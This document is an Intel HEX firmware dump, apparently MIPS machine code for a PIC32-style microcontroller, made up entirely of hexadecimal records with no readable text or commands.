:10e61000dc564224a800438c00a0023cdc56422475
:10e62000ac00428c00a0063cdc56c624b000c98c6d
:10e6300000a0063cdc56c624c800c88c00a0063cde
:10e64000dc56c624bc00c6902138c00000a0063ca1
:10e65000dc56c6248c00c68c3800ca271000aaaf2e
:10e660001400a9af1800a8af00a0083c99570825ce
:10e670001c00a8af2000a7af2400a6af4c02c68f95
:10e680002800a6af010006242c00a6af21306000b0
:10e6900021384000d9f9400f000000002118400047
:10e6a00000a0023cdc564224b000428c0400621000
:10e6b0000000000021100000d3f9400b0000000012
:10e6c0003000c0afbef9400b000000003000c28f28
:10e6d0003000c3272110620008004390300002245c
:10e6e00002006210000000003400c0af3000c28f92
:10e6f000010042243000c2af3800c2272120400070
:10e700007b4b410f00000000211840003000c28ff9
:10e710002b104300edff4014000000003400c28fb6
:10e72000040040100000000021100000d3f9400b4d
:10e73000000000003800c2274802c48f2128400092
:10e74000574a410f000000000100022421e8c003e5
:10e750004402bf8f4002be8f4802bd270800e0037d
:10e7600000000000c0ffbd273c00bfaf3800beafb7
:10e770003400b0af21f0a0034000c4af4400c5afe7
:10e780004800c6af4c00c7af6000c38f6c00c28f9b
:10e790002800c3a32c00c2a31800c0af2000c0a350
:10e7a0006800c28f05004010000000000100022434
:10e7b0002100c2a3f1f9400b000000000200022476
:10e7c0002100c2a32100c3935400c28f180062002d
:10e7d0006400c28f1000a2af4000c48f4400c58ff8
:10e7e00000a0023cdc1c462412380000b8fa400f9e
:10e7f0000000000004004014000000002110000090
:10e80000a0fa400b000000009480828f04004010aa
:10e810000000000021100000a0fa400b00000000e2
:10e820006400c28f060040100000000001000424b4
:10e83000e30d410f0000000020fa400b0000000033
:10e8400020fa400b000000006400c28f0c00401052
:10e850000000000021200000e30d410f0000000037
:10e86000211840006400c28f2b10430004004010a8
:10e870000000000021100000a0fa400b0000000082
:10e8800088bf023ca061428c40004230eeff401045
:10e89000000000002100c3935400c28f18006200e2
:10e8a0004800c38f4c00c28f2b104300ff00423042
:10e8b000211840005800c28f2610620000a0033cbf
:10e8c000dc1c642400a0033cdc1c65241230000026
:10e8d00021384000a5fb400f000000000400401458
:10e8e0000000000021100000a0fa400b0000000012
:10e8f0002800c29345004010000000002000c0a383
:10e900001c00c0af1c00c28f1800c2af70fa400bd1
:10e910000000000000a0023cdc1c43241800c28f51
:10e9200021106200000050901c00c28fc210020033
:10e930005c00c38f2110620000004290211840004b
:10e940001c00c28fff00423027100200ff0042303f
:10e9500007004230212060002128400029ba400fe2
:10e960000000000006000216000000001c00c28f1c
:10e97000010042241c00c2af65fa400b00000000f9
:10e980001800c38f1c00c28f231062001800c2af92
:10e990001c00c0af2800c3931c00c28f0500621486
:10e9a00000000000010002242000c2a378fa400bfe
:10e9b000000000001800c28f010042241800c2affe
:10e9c0002100c3935400c28f180062001800c28f48
:10e9d000121800002b104300ceff4014000000006e
:10e9e0002000c29304004014000000002110000029
:10e9f000a0fa400b000000002800c2931800c38f4b
:10ea000023106200010042241800c2af2c00c393ff
:10ea1000010002240c006214000000001800c38fe3
:10ea200000a0023cdc1c4224211062005000c48f74
:10ea3000212840005400c68f47b9400f0000000055
:10ea4000a0fa400b000000001800c38f00a0023c99
:10ea5000dc1c4224211062005000c48f2128400099
:10ea60005400c68f214b410f000000005000c38f9f
:10ea70005400c28f21106200000040a05400c28fd9
:10ea800021e8c0033c00bf8f3800be8f3400b08f38
:10ea90004000bd270800e00300000000e8ffbd279c
:10eaa0001400bfaf1000beaf21f0a0031800c4af28
:10eab0001c00c5af1800c48f1c00c58f574a410ffa
:10eac000000000000100022421e8c0031400bf8ff1
:10ead0001000be8f1800bd270800e00300000000f2
:10eae000d8ffbd272400bfaf2000beaf21f0a00398
:10eaf0002800c4af2c00c5af3000c6af3400c7af8c
:10eb00003000c28f148282af3400c28f348282af51
:10eb10001482828f21204000212800003400c68ffb
:10eb20007152410f0000000088bf023c0002033c0c
:10eb3000741043ac88bf023c2061428c020042301a
:10eb40001b004010000000002800c28f421002008d
:10eb500003000424212840002800c68f0800072451
:10eb6000b20b410f0000000000a0023cdc56422422
:10eb70009c00438c00a0023cdc564224f000428cf6
:10eb800018006200122000001800c4afeb51023cd4
:10eb90001f8542341800c38f190062001010000056
:10eba0004211020021204000240e410f000000000d
:10ebb00001000424e30d410f00000000fffa400ba8
:10ebc000000000003800c28f0c0040100000000060
:10ebd00021200000e30d410f00000000211840003b
:10ebe0003800c28f2b1043000400401000000000ca
:10ebf000211000009ffb400b0000000088bf023c7a
:10ec0000d060428c00014230eeff40140000000052
:10ec100014fb400b000000003800c28f0c004010b5
:10ec20000000000021200000e30d410f0000000063
:10ec3000211840003800c28f2b1043000400401000
:10ec400000000000211000009ffb400b00000000ae
:10ec500088bf023cd060428c00014230eeff401081
:10ec60000000000029fb400b000000003800c28fac
:10ec70000c0040100000000021200000e30d410fb7
:10ec800000000000211840003800c28f2b10430004
:10ec90000400401000000000211000009ffb400b0a
:10eca0000000000088bf023cd060428c000142306e
:10ecb000eeff40140000000001000424e30d410faa
:10ecc0000000000041fb400b000000003800c28f34
:10ecd0000c0040100000000021200000e30d410f57
:10ece00000000000211840003800c28f2b104300a4
:10ecf0000400401000000000211000009ffb400baa
:10ed00000000000088bf023cd060428c000142300d
:10ed1000eeff40100000000001000424e30d410f4d
:10ed2000000000001400c2af140002241000c2a3af
:10ed300087fb400b000000005efb400b0000000062
:10ed40003800c28f0c00401000000000212000009d
:10ed5000e30d410f00000000211840003800c28f71
:10ed60002b104300040040100000000021100000a0
:10ed70009ffb400b0000000088bf023cd060428c2b
:10ed800000014230eeff40140000000001000424a6
:10ed9000e30d410f0000000076fb400b0000000077
:10eda0003800c28f0c00401000000000212000003d
:10edb000e30d410f00000000211840003800c28f11
:10edc0002b10430004004010000000002110000040
:10edd0009ffb400b0000000088bf023cd060428ccb
:10ede00000014230eeff4010000000002120000032
:10edf000e30d410f00000000212040001400c58fea
:10ee0000280006244eb5400f000000000300401407
:10ee1000000000008cfb400b000000001000c293bb
:10ee2000ffff43241000c3a3c3ff401400000000f1
:10ee300001000424e30d410f000000002800c38fef
:10ee4000cccc023ccdcc4234190062001010000042
:10ee5000c21802002c00c28f1800620012180000b5
:10ee6000c0100300ffff42242120400001000524c0
:10ee7000510c410f000000000100022421e8c003f2
:10ee80002400bf8f2000be8f2800bd270800e003ac
:10ee900000000000e0ffbd271c00bfaf1800beafa0
:10eea00021f0a0032000c4af2400c5af2800c6afe6
:10eeb0002c00c7af1400c0a31500c0a32800022473
:10eec0001600c2a32400c28f000042901400c2a307
:10eed000010002241000c2afedfb400b0000000057
:10eee0001500c29313004014000000002400c38fdb
:10eef0001000c28f211062000000429021204000cb
:10ef00001400c3931600c2932128600021304000f2
:10ef10004eb5400f00000000060040140000000045
:10ef20002400c38f1000c28f2110620000004290a5
:10ef30001500c2a32400c38f1000c28f21106200ed
:10ef400000004290212040001400c3931600c29399
:10ef500021286000213040004eb5400f0000000025
:10ef600011004014000000002400c38f1000c28f65
:10ef70002110620000004290212040001500c39340
:10ef80001600c29321286000213040004eb5400f8a
:10ef900000000000040040140000000021100000e8
:10efa00020fc400b000000001000c28f0100422432
:10efb0001000c2af1000c38f2800c28f2b10620058
:10efc000c7ff4014000000001500c3931400c29353
:10efd0002b106200ff004230211840002c00c28f2d
:10efe00003006210000000001500c2931400c2a3c9
:10eff0001000c0af1afc400b000000002400c38fbb
:10f000001000c28f211062000000429021204000b9
:10f010001400c3931600c2932128600021304000e1
:10f020004eb5400f00000000070040100000000037
:10f030002000c38f1000c28f21106200000040a08a
:10f0400017fc400b000000002000c38f1000c28f8f
:10f050002110620001000324000043a01000c28fb1
:10f06000010042241000c2af1000c38f2800c28fdd
:10f070002b106200e1ff4014000000000100022498
:10f0800021e8c0031c00bf8f1800be8f2000bd27e1
:08f090000800e003000000008d
:020000040000fa
:020000041d03da
:10f09800b0ffbd274c00bfaf4800beaf4400b7afbc
:10f0a8004000b6af3c00b5af3800b4af3400b3afe2
:10f0b8003000b2af2c00b1af2800b0af218880007b
:10f0c80021f0a0005800a6af218000000000c483f2
:10f0d8000100d227d40080101200a4a32500022426
:10f0e8001c0082140200c22721b800002b0004244f
:10f0f8002d0005243000072420000624ffff53803c
:10f10800ffff5e240c0064122c00632a0d006014bb
:10f11800000000009a0065520800f73614006716d0
:10f12800010042240400f736ffff5380ffff5e24ee
:10f13800f6ff64162c00632a0200f7364cfc400bdd
:10f14800010042240a006616010042244cfc400bd0
:10f158000100f7367f4c410f21282002ffff0324ce
:10f16800daff431021f0400235fc400b0100102665
:10f17800059d033ca13c63242110730000004290cc
:10f188000200e432feffe3320bb864000800e43208
:10f19800fbffe332040042302128c0037a0040100c
:10f1a8000bb864006efc400b211000002198600031
:10f1b8000100de270000c38340280200c0100200bf
:10f1c800059d063ca13cc6242120c3000000849074
:10f1d8002110a2002198530004008430f3ff80140a
:10f1e800d0ff62262e0004246e00641021a80000bf
:10f1f8006c00042410000624008005340201641009
:10f208000100de276d006428800080147300042448
:10f21800ed006410740064289a00801475000424ba
:10f22800e600641078000424ff0064141200a3a30d
:10f238008000f736c000e33288006014201e177c77
:10f24800190262045800a68f1000e332080160100a
:10f258005800a48f5800a78f0000e38c0400e7240f
:10f268005800a7afc327030021b0600021a0800089
:10f27800212880000600a104235803002b180b0046
:10f28800232004000300f73621b0600123a0830087
:10f298000300a016c000f23225a8d4020100b52e42
:10f2a80040000324d30143124100432ef8006014a8
:10f2b80080000324b701431201000324c000032483
:10f2c800f60043561200b383010003241102801292
:10f2d8001200a3a3059d043c38468424030003249c
:10f2e80002001324befc400b15000a242198c0001c
:10f2f8000400858c010069242034037c2b388502a6
:10f308009a01e014ff002331f601b4500000858c07
:10f31800f6ff6a14080084241200a6a32198c000ee
:10f328002a187502e1006054209c157c2a18b30243
:10f338000ba86302050040100040e3320300e332eb
:10f348002b180300231043000040e332050060102f
:10f358002a1862022a18a202231055000a10030074
:10f368002a186202d80060540400e3320400e23232
:10f37800f70140100800e232b6fd400b219800006a
:10f388004cfc400b010042242a0002244300621274
:10f398002e000424211860022110000094ff641438
:10f3a80021a800000100c3832a000424ae016410d0
:10f3b8000040f736059d053ca13ca5242120a3006b
:10f3c800000084900400843089ff80100100de274b
:10f3d80040201500c0a815000100de2721a89500cf
:10f3e80021a8a3020000c383059d073ca13ce72494
:10f3f8002120e3000000849004008430f4ff80148e
:10f40800d0ffb5267ffc400b6c0004246300042465
:10f418002f006410640064282700805064000424ce
:10f428007f00601458000424211000024c00bf8f94
:10f438004800be8f4400b78f4000b68f3c00b58fa0
:10f448003800b48f3400b38f3000b28f2c00b18fe6
:10f458002800b08f0800e0035000bd278901600430
:10f468001000e3327d0060105800a38f5800a78f6a
:10f478000000f68c21a000000400e724a6fc400b45
:10f488005800a7af6f0004247301641470000424ab
:10f498001200a3a38ffc400b4000f7365800a78f3b
:10f4a8000000e28c0100de270100a3800400e724ad
:10f4b8007bfc400b5800a7af0300641069000424cc
:10f4c800590064541200a3a38ffc400b1200a3a39d
:10f4d8005800a58f0000a48c1000e6320400a72471
:10f4e800c32f0400002e0500021a04002518a300eb
:10f4f800202c037c6f00c0101200a5a30100632418
:10f50800ff0063300200632c6b0060541000a4a35a
:10f518001000a5a31100a4a3020012241000b6270e
:10f528005800a7af0300a0120800f4322b18b2024b
:10f538000b90a3022b98420223105200ffff943233
:10f548000a1013004000801221984000ffff552642
:10f558005ffd400bffff1224000044800100d62607
:10f568007f4c410fffffb526271002002b10020029
:10f57800218002022110c002f7ffb21621282002c2
:10f58800d3fe80520000c4836dfd400b200004248c
:10f598007f4c410fffff7326271002002b1002003b
:10f5a800218002022000042421282002f8ff60168e
:10f5b8000000000036fc400b0000c4831200a3a327
:10f5c8008ffc400bc000f7361200a3a35800a38f8e
:10f5d8000000658c040066244701a01021b0a0003b
:10f5e8000000a380480160100100a3242390650057
:10f5f80001006324ffff6480fdff805423906500b1
:10f608004bfd400b5800a6af1000e3322138a00094
:10f618000a38c30025b8f70081fc400b0000c383fb
:10f628000f0164101200a3a31200b6274bfd400b74
:10f63800010012247f4c410fffff732627100200a0
:10f648002b1002002180020220000424f9ff60161a
:10f658002128200255fd400bffff13240000768c63
:10f6680021a0000004006324a6fc400b5800a3afaf
:10f678000000838c040084245800a4afc32703002f
:10f6880021b0600021a080009ffc400b2128800051
:10f698000eff4012010003241200b3832a187502da
:10f6a80023ff60102a18b302209c157ccffc400b66
:10f6b8001200b3a31000a4a3010012241000b6275f
:10f6c8004bfd400b5800a7af1c0060102398530057
:10f6d8000200e232ab0040100100e2320100e432e5
:10f6e8002d0002242b0003240a106400212040006e
:10f6f8007f4c410f21282002271002002b10020006
:10f70800218002020a0060120800e232300004245c
:10f718007f4c410f21282002271002002b100200e5
:10f72800ffff7326f9ff6016218002020800e2320b
:10f73800ffff4230e4fd400b2400a2af0800e23294
:10f74800ffff4230030060122400a2af56004010b1
:10f75800200004240200e232860040100100e23258
:10f768000100e4322d0002242b0003240a10640057
:10f77800212040007f4c410f212820022710020041
:10f788002b10020021800202ffffa926c0a8090051
:10f79800401809002000e232059d043c28468424d4
:10f7a80021a895001800b5af21b8690040281400b9
:10f7b8001c00a5afffff42302000a2affdff0224ce
:10f7c8001800e21280a809004000022459004212e1
:10f7d8004100422e220040148000022443004212bd
:10f7e80027181500c0000224200042121800a28f1a
:10f7f8001200a4837f4c410f212820022710020009
:10f808002b100200218002021800a78ff8ffe724be
:10f818001800a7affdfff726fdff0224eaffe21656
:10f82800fcffb5262400a28f29fe40500000c483a7
:10f8380027fe605a0000c483200004247f4c410f37
:10f8480021282002271002002b100200ffff732638
:10f85800f9ff60162180020236fc400b0000c483c9
:10f86800e4ff40561200a4831800a28f0000468cc3
:10f878000400478c2120c002d833410f2128800280
:10f8880021204000212860000a000624bf32410fd1
:10f8980021380000300042242024027cfffd400b68
:10f8a8001200a4a3200004247f4c410f2128200229
:10f8b800271002002b100200ffff7326a5ff60121d
:10f8c80021800202200004247f4c410f21282002bd
:10f8d800271002002b100200ffff7326f1ff6016ad
:10f8e80021800202d8fd400b0200e2321c00a48fe6
:10f8f800041864000610b6022000a6322510620023
:10f908000628b402059d073cd046e324059d073c24
:10f91800e446e4240b10a6002000a58f0a188500f1
:10f928000f0042302118620000006480fffd400b88
:10f938001200a4a3271017001c00a68f041046006d
:10f948000620f6022000e332252044000610f402c7
:10f958000b2043000700843030008424fffd400b57
:10f968001200a4a337008050c0280500a9fd400b51
:10f978001200b3a385ff4010ffffa926dffd400b4f
:10f98800200004245fff401020000424befd400b2b
:10f9980000000000640080121200a3a303000324e7
:10f9a80002001324000105242120000070fe400bf2
:10f9b80011000d242198c000010069242b3884020d
:10f9c800026705002034037c00510400e7ffe014bf
:10f9d800ff0023313f0094502b20c5020029050069
:10f9e800f4ff6d1425208a011200a6a3cafc400b5f
:10f9f8002198c00001000324500080121200a3a324
:10fa080003000324020013244000052421200000e1
:10fa180089fe400b16000d242198c00001006924be
:10fa28002b388402426705002034037cc050040050
:10fa3800ceffe014ff002331caff94102b20c5022b
:10fa4800c0280500f4ff6d1425208a011200a6a322
:10fa5800cafc400b2198c000f3fe64141200a3a353
:10fa68008efc400b2000f7365800a68f0000d58c7e
:10fa78000200c3830400c6245800a6af7efc400bd6
:10fa88000200de275800a58f0700a424f8ff0324ee
:10fa980024188300080066245800a6af0000768c5e
:10faa800a6fc400b0400748c0700c424f8ff032450
:10fab800242083000400858c0000838c08008424a3
:10fac8005800a4af2120a00021b060009ffc400b8b
:10fad80021a0a000c2ff805000290500a9fd400b0d
:10fae8001200b3a32b28c50209fea01000000000d5
:10faf800a9fd400b1200b3a3059d163cc846d626a7
:10fb08007afd400b2128c0025800a6af4bfd400be0
:10fb1800219000000a00c32eeffd6010059d043cf3
:10fb2800a9fd400b010013241000c32e9cff601098
:10fb380003000324a9fd400b010013240800c32e71
:10fb4800b0ff601003000324a9fd400b010013243b
:10fb5800ffff42302400a2afd7fd400b21980000e0
:020000040000fa
:020000041d03da
:10fb6800d8ffbd272400bfaf2000beaf21f0a003ff
:10fb78002800c4af2c00c5af3000c6af3400c7aff3
:10fb880000a0023cdc1c44242800c58fcbb8400fe1
:10fb9800000000001800c2af1800c28f0400401413
:10fba8000000000021100000f7fe400b00000000dc
:10fbb8003400c28f1000a2af00a0023cdc1c442419
:10fbc8001800c58f2c00c68f3000c78ffdfe400f70
:10fbd8000000000021e8c0032400bf8f2000be8f72
:10fbe8002800bd270800e00300000000e8ffbd274b
:10fbf8001400bfaf1000beaf21f0a0031800c4afbf
:10fc08001c00c5af2000c6af2400c7af00a0023c4f
:10fc1800dc1c44241800c58f1c00c68f214b410fe3
:10fc28000000000000a0023cdc1c43241c00c28f22
:10fc3800211062002a000324000043a02000c48f82
:10fc480000a0023cdc1c45242400c68f2800c78f76
:10fc58004d00410f000000000100022421e8c0030c
:10fc68001400bf8f1000be8f1800bd270800e003e6
:10fc780000000000c0fdbd273c02bfaf3802beaf88
:10fc880021f0a0034002c4af010002242c00c2af3f
:10fc98003000c2272120400030000524000206243d
:10fca8007152410f000000003002c0a300a0023cc6
:10fcb800dc5642249c00448c00a0023cdc564224c2
:10fcc800a400458c00a0023cdc564224b000428cc3
:10fcd80000a0033cdc566324bc006390213860001c
:10fce80000a0033cdc5663248c00668c3000c327dc
:10fcf80000a0083c995708251000a8af1400a7af2a
:10fd08001800a6af1c00a0af010006242000a6af73
:10fd180021306000213840008dff400f00000000b6
:10fd28002118400000a0023cdc564224b000428c5e
:10fd380004006210000000002110000076ff400b54
:10fd4800000000002800c0af61ff400b0000000069
:10fd58002800c28f2800c3272110620008004390a2
:10fd68003000022402006210000000002c00c0af26
:10fd78002800c28f010042242800c2af3000c227e9
:10fd8800212040007b4b410f00000000211840005b
:10fd98002800c28f2b104300edff40140000000024
:10fda8002c00c28f04004010000000002110000049
:10fdb80076ff400b000000003000c2274002c48fcd
:10fdc80021284000574a410f00000000010002248a
:10fdd80021e8c0033c02bf8f3802be8f4002bd2716
:10fde8000800e00300000000e8ffbd271400bfafd3
:10fdf8001000beaf21f0a0031800c4af1c00c5afaf
:10fe08001800c48f1c00c58f574a410f000000001e
:10fe18000100022421e8c0031400bf8f1000be8f28
:10fe28001800bd270800e00300000000c0ffbd2740
:10fe38003c00bfaf3800beaf3400b0af21f0a00324
:10fe48004000c4af4400c5af4800c6af4c00c7afc0
:10fe58005400c38f6000c28f2800c3a32c00c2a324
:10fe68001800c0af2000c0af2400c0a35c00c28f40
:10fe78000500401000000000010002242400c2a375
:10fe8800a6ff400b00000000020002242400c2a3c9
:10fe98002400c3934c00c28f180062005800c28f20
:10fea8001000a2af5c00c28f1400a2af4000c48f44
:10feb8004400c58f00a0023cdc1c46241238000018
:10fec800c000410f000000000400401400000000c2
:10fed800211000004600410b000000009480828f32
:10fee8000400401000000000211000004600410bf3
:10fef800000000005800c28f0600401000000000fb
:10ff080001000424e30d410f00000000d7ff400b5f
:10ff180000000000d7ff400b000000005800c28f0f
:10ff28000c0040100000000021200000e30d410fec
:10ff380000000000211840005800c28f2b10430019
:10ff48000400401000000000211000004600410b92
:10ff58000000000088bf023ca061428c4000423093
:10ff6800eeff401000000000f480828f0400401073
:10ff780000000000211000004600410b00000000b6
:10ff88002800c29345004010000000002000c0afc8
:10ff98001c00c0af1c00c28f1800c2af1600410b76
:10ffa8000000000000a0023cdc1c43241800c28fa3
:10ffb80021106200000050901c00c28fc210020085
:10ffc8005000c38f211062000000429021184000a9
:10ffd8001c00c28fff00423027100200ff00423091
:10ffe80007004230212060002128400029ba400f34
:10fff8000000000006000216000000001c00c28f6e
:020000041d04d9
:10000800010042241c00c2af0b00410b000000009d
:100018001800c38f1c00c28f231062001800c2afe3
:100028001c00c0af2800c3931c00c28f05006214d7
:1000380000000000010002242000c2af1e00410b96
:10004800000000001800c28f010042241800c2af4f
:100058002400c3934c00c28f180062001800c28f9e
:10006800121800002b104300ceff401400000000bf
:100078002000c28f0400401400000000211000007e
:100088004600410b000000002800c2931800c38fef
:1000980023106200010042241800c2af2c00c39351
:1000a800010002240c006214000000001800c38f35
:1000b80000a0023cdc1c4224211062004800c48fce
:1000c800212840004c00c68f47b9400f00000000af
:1000d8004600410b000000001800c38f00a0023c3e
:1000e800dc1c4224211062004800c48f21284000f3
:1000f8004c00c68f214b410f000000004800c38f01
:100108004c00c28f21106200000040a04c00c28f3a
:1001180021e8c0033c00bf8f3800be8f3400b08f89
:100128004000bd270800e00300000000e8ffbd27ed
:100138001400bfaf1000beaf21f0a0031800c4af79
:100148001c00c5af2000c6af2400c7af1800c38f7e
:10015800cccc023ccdcc4234190062001010000017
:10016800c2100200c01002001800c2af1800c38fee
:100178002000c28f18006200121000001800c2afe1
:100188001c00c28f00004290088282a31c00c28f0c
:1001980001004224148282af1c00c28f1c8282afed
:1001a80001000224288282af01000224098282a36e
:1001b8002400c28f208282af00a0023cdc56422479
:1001c800cc00428c060040140000000000a0023c55
:1001d800dc564224c400428c0b0040100000000092
:1001e8001800c28f421002001800c2af0982829321
:1001f80040100200ff004230098282a32882828fc9
:1002080040100200288282afc40c410f0000000099
:1002180001000224808082a388bf023c00100324ce
:10022800641043ac88bf023c681040ac80bf023cfd
:10023800000a40ac88bf033c20616294444a027cb7
:10024800206162a488bf033cd06062940421027cd0
:10025800d06062a488bf033c6060629401000424fb
:100268000421827c606062a488bf033c20616294a0
:100278000400027c206162a480bf023c000a40acfa
:1002880080bf023c100a40ac1800c28fffff432415
:1002980080bf023c200a43ac80bf023c008003348c
:1002a800080a43ac88bf023c1c000324c41043acba
:1002b80088bf023c18000324c81043ac88bf023c26
:1002c80000100324341043ac88bf023c0010032400
:1002d800641043ac88bf023c00100324681043ac90
:1002e80021e8c0031400bf8f1000be8f1800bd277f
:1002f8000800e00300000000d0ffbd272c00bfafbe
:100308002800beaf21f0a0033000c4af3400c5af51
:100318003800c6af3c00c7aff48080af00a0023cf5
:10032800dc564224cc00428c060040140000000039
:1003380000a0023cdc564224c400428c0900401054
:10034800000000003400c28f421002003400c2af27
:100358003c00c28f40100200348282afdd00410ba6
:10036800000000003c00c28f348282af3800c28f88
:10037800148282af1482828f21204000212800003d
:100388003c00c68f7152410f0000000088bf023c3c
:100398000002033c741043ac88bf023c2061428ccd
:1003a800020042301b004010000000003000c28fe5
:1003b8004210020003000424212840003000c68fa8
:1003c80008000724b20b410f0000000000a0023c07
:1003d800dc5642249c00438c00a0023cdc5642249c
:1003e800f000428c18006200122000002000c4af08
:1003f800eb51023c1f8542342000c38f1900620074
:10040800101000004211020021204000240e410f6c
:100418000000000001000424e30d410f000000006b
:1004280088bf023cd060428c0002427cff00423010
:100438001000c2a31c01410b000000002120000095
:10044800e30d410f00000000211840004000c28f5a
:100458002b10430004004010000000002110000091
:100468007701410b0000000088bf023cd060428c3d
:100478000002427cff0042301000c393efff62107d
:10048800000000003000c38fcccc023ccdcc4234fd
:100498001900620010100000c2100200c010020013
:1004a8003000c2af00a0023cdc564224c400428c9b
:1004b80029004010000000004400c28f26004014ac
:1004c800000000003000c38f3400c28f18006200a3
:1004d80012180000401003001400c2af1000c0a39f
:1004e8005101410b000000001800c28f05004010a8
:1004f800000000001000c393ff00022403006214f0
:10050800000000007701410b000000001800c48fb4
:100518001400c58f0a0006244eb5400f00000000e5
:1005280003004010000000005801410b00000000cb
:100538001000c293010042241000c2a34000c48fdf
:1005480046bd400f000000001800c2af1800c28f5f
:10055800e5ff4014000000003000c38f3400c28f54
:100568001800620012200000421004001400c2affc
:1005780001000424fb0d410f0000000000000000f2
:1005880021200000fb0d410f000000002118400051
:100598001400c28f2b106200f9ff40140000000005
:1005a80001000424e30d410f000000003000c38f58
:1005b8003400c28f1800620012180000ffff622486
:1005c8002120400001000524510c410f00000000cb
:1005d8000100022421e8c0032c00bf8f2800be8f31
:1005e8003000bd270800e00300000000823004004e
:1005f8000c00c6304008827c2530c200792c0324c8
:100608000630c3000100c630823a04000200e73019
:10061800c001827c2538e200c21204000c0042307e
:100628002538e200e2cc03340638e3000200e73064
:10063800021f040004006330c00e827c251862008b
:10064800c010050008004230251862000300023c73
:100658008833482406186800080063302518e3002a
:1006680025186600423205000600c6304000a77c07
:100678002530c700822a05000800a5302528c500b6
:1006880090c742240610a2001000423025186200cc
:10069800c2140400020042300004857c2510450085
:1006a800022d04000400a530251045008225040011
:1006b80008008430251044000200043cc4998424b6
:1006c8000620440004008430251864000779023ca1
:1006d8007b284224061062000800e0030100423033
:1006e800d8ffbd272400bfaf2000b4af1c00b3afb4
:1006f8001800b2af1400b1af1000b0af218880006d
:10070800ffffc230003c0700023406002530e60037
:100718003c00b38f26986602002c13002510450074
:10072800c01f02003800a48f422004002520640066
:1007380042280200c01f0500428004002580700086
:100748007d01410f8290020080130200262852008a
:10075800c0170500429010002590520042a00500e5
:100768007d01410f21200002801302002628820209
:10077800c0170500428012002580500042a00500e5
:100788007d01410f212040028013020026288202a9
:10079800c0170500429010002590520042a00500a5
:1007a8007d01410f212000028013020026288202c9
:1007b800c0170500428012002580500042a00500a5
:1007c8007d01410f21204002801302002628820269
:1007d800c0170500429010002590520042a0050065
:1007e8007d01410f21200002801302002628820289
:1007f800c0170500428012002580500042a0050065
:100808007d01410f21204002801302002628820228
:10081800c0170500429010002590520042a0050024
:100828007d01410f21200002801302002628820248
:10083800c0170500428012002580500042a0050024
:100848007d01410f212040028013020026288202e8
:10085800c0170500429010002590520042a00500e4
:100868007d01410f21200002801302002628820208
:10087800c0170500428012002580500042a00500e4
:100888007d01410f212040028013020026288202a8
:10089800c0170500429010002590520042a00500a4
:1008a8007d01410f212000028013020026288202c8
:1008b800c0170500428012002580500042a00500a4
:1008c8007d01410f21204002801302002628820268
:1008d800c0170500429010002590520042a0050064
:1008e8007d01410f21200002801302002628820288
:1008f800c0170500428012002580500042a0050064
:100908007d01410f21204002801302002628820227
:10091800c0170500429010002590520042a0050023
:100928007d01410f212000028013020026a08202cf
:10093800029c1300c09b130025289302c0170500d2
:100948004280120025805000429805007d01410f29
:10095800212040028013020026286202c0170500e9
:100968004290100025905200429805007d01410fe9
:10097800212000028013020026286202c017050009
:100988004280120025805000429805007d01410fe9
:10099800212040028013020026286202c0170500a9
:1009a8004290100025905200429805007d01410fa9
:1009b800212000028013020026286202c0170500c9
:1009c8004280120025805000429805007d01410fa9
:1009d800212040028013020026286202c017050069
:1009e8004290100025905200429805007d01410f69
:1009f800212000028013020026286202c017050089
:100a08004280120025805000429805007d01410f68
:100a1800212040028013020026286202c017050028
:100a28004290100025905200429805007d01410f28
:100a3800212000028013020026286202c017050048
:100a48004280120025805000429805007d01410f28
:100a5800212040028013020026286202c0170500e8
:100a68004290100025905200429805007d01410fe8
:100a7800212000028013020026286202c017050008
:100a88004280120025805000429805007d01410fe8
:100a9800212040028013020026286202c0170500a8
:100aa8004290100025905200429805007d01410fa8
:100ab800212000028013020026286202c0170500c8
:100ac8004280120025805000429805007d01410fa8
:100ad800212040028013020026286202c017050068
:100ae8004290100025905200429805007d01410f68
:100af800212000028013020026286202c017050088
:100b08004280120025805000429805007d01410f67
:100b18002120400280130200269062022120000258
:100b28007d01410f21284002c013020026284202fd
:100b3800000030ae040025aec017050042181000b2
:100b4800251843004210050026187000261045009d
:100b5800802605008231100025308600824105007c
:100b6800003c0500022410002520e400023c05009a
:100b78002630c400263807012630d0002638e50084
:100b880080410500822610002520040182460500c8
:100b98002620c4002638e80080300500828710002f
:100ba8002580d00082470500268090002638e8007e
:100bb800422a050026800502802f020082200300b9
:100bc8002520a40082300200268004022628e600a0
:100bd80040360200c22103002520c400c2310200b1
:100be800262004022628a60080320200821d030067
:100bf8002518c30082350200261883002628a6007f
:100c08008232020026186600821302002610620053
:100c1800080022ae0c0025ae2400bf8f2000b48f40
:100c28001c00b38f1800b28f1400b18f1000b08f62
:100c38000800e0032800bd27c8ffbd273400bfaf68
:100c48003000b7af2c00b6af2800b5af2400b4af62
:100c58002000b3af1c00b2af1800b1af1400b0afa2
:100c680021a880000000948c0400908c0800928ccd
:100c78000c00918c2f00a010211000002100b32c33
:100c8800200002240b10b3002198400021b000007e
:100c98002283173c7300f7260100423211004010ee
:100ca800c017100042201400252044004280100084
:100cb80021a0800000801036c01711004290120059
:100cc80025905200428811002690570280b3313a8d
:100cd80040b016007d01410f212800024703410b57
:100ce80025b0560042201400252044004228100058
:100cf80021a080002180a000c0171100429012009e
:100d080025905200428811007d01410f40b0160025
:100d180025b05600ffff7326e0ff6016010042323f
:100d28000000b4ae0400b0ae0800b2ae0c00b1ae24
:100d38002110c0023400bf8f3000b78f2c00b68f4f
:100d48002800b58f2400b48f2000b38f1c00b28f09
:100d58001800b18f1400b08f0800e0033800bd27d9
:100d6800c0ffbd273c00bfaf3800beaf21f0a003d5
:100d7800b292023cf2724234d24a03241300400079
:100d88001100600012100000101800001800c2af17
:100d98001c00c3afea96023c92c242342000c2afa4
:100da800a24e023ca67642342400c2af2800c227d5
:100db8002000c38f1000a3af2400c38f1400a3af7b
:100dc800212040001800c68f1c00c78fba01410fb0
:100dd8000000000001000424e30d410f00000000a2
:100de8002800c22721204000200005241003410fbd
:100df8000000000021200000e30d410f000000006a
:100e080021e8c0033c00bf8f3800be8f4000bd27db
:100e18000800e00300000000b8ffbd274400bfaf92
:100e28004000beaf21f0a0034800c4afb292023c1c
:100e3800f2724234d24a03241300400011006000c9
:100e480012100000101800002000c2af2400c3af29
:100e5800ea96023c92c242342800c2afa24e023c3b
:100e6800a67642342c00c2af01000424e30d410fe2
:100e7800000000001800c0afb603410b00000000de
:100e88002c00c38f1800c28f211862003000c227bf
:100e98002800c48f1000a4af1400a3af2120400085
:100ea8002000c68f2400c78fba01410f0000000040
:100eb8003000c22721204000200005241003410fe4
